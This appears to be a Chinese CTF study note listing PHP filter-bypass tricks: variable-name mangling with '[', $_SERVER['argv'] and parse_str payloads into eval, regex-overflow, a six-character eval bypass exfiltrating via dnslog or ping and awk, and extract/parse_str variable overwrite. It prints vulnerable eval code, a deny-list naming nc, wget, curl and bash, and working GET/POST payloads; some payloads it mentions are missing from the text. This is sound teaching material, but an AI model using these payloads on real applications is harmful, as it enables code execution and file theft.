trim()

这个函数可以过滤掉一些特殊符号,但是换页符\f不过滤。这个方法对is_numeric也有效

带 . 的变量名

php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

先看看下面这个变量的传入

isset($_POST['CTF_SHOW.COM'])

这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1,但根据这个特性,就只能传入CTF[SHOW.COM=

自己构建传值方法

先看代码

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    eval("$c".";");
    if($fl0g==="flag_give_me"){
        echo $flag;
        }
    }
}

这里介绍一种很特别的方法

highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了

GET:?shell=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

$_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里

上面那道题的代码可以通过下面payload绕过。

意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。


GET:?a=1+fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

$_SERVER[‘QUERY_STRING’]

‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里

 _()

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()

get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag

stripos()

这个函数存在路径穿越漏洞,可以使用../..返回上级目录

正则表达式溢出

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false

变量覆盖绕过

先来看这段代码

if($F = @$_GET['F']){    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){        eval(substr($F,0,6));    }else{        die("6个字母都还不够呀?!");    }}

很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过

这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php)

为什么这句payload可以被执行呢?首先,substr把

给读了出来,现在,eval的内容就变成了

这一步,网上的答案容易有一个误区,就是没说清楚这里的$F到底是放到shell里用来申请shell变量的,还是在php里的$F。正确答案应该是后者,因此,就可以再把这个$F替换成

所以最后eval执行的内容就会是上面这个东西,也就会执行sleep了。但是为了拿到flag,单用cat是不行的,因为不会回显,因此需要使用类似dnslog的平台进行接收

当然,假设现在过滤代码升级成了这样

if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}

也还是有方法绕过,有两种方法,一种是接着用curl,那么就需要勇道指令符号化绕过的知识,详情可以参考这里,最后的payload长这样

第二种方法,则是利用ping和awk的组合

通过ping命令去带出数据,然后awk NR一排一排的获得数据

变量覆盖

同样先看代码

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {    die("nonononono");}@parse_str($_SERVER['QUERY_STRING']);extract($_POST);if($key1 == '36d' && $key2 == '36d') {    die(file_get_contents('flag.php'));}

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1
那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表

所以最后payload为?_POST[key1]=36d&_POST[key2]=36d